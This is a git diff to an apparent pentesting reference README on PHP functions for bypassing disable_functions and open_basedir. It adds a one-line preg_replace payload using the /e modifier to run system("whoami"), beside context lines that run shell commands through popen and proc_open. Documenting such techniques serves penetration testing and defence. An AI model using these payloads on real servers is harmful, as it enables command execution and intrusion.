diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md b/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md
index 4ea2bde0..582c92df 100644
--- a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md
+++ b/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md
@@ -46,6 +46,12 @@ echo fread(popen("/bin/ls /", "r"), 4096);
 proc_close(proc_open("uname -a",array(),$something));
 ```
 
+**preg\_replace**
+
+```php
+<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
+```
+
 **pcntl\_exec** - Executes a program \(by default in modern and not so modern PHP you need to load the `pcntl.so` module to use this function\)
 
 ```bash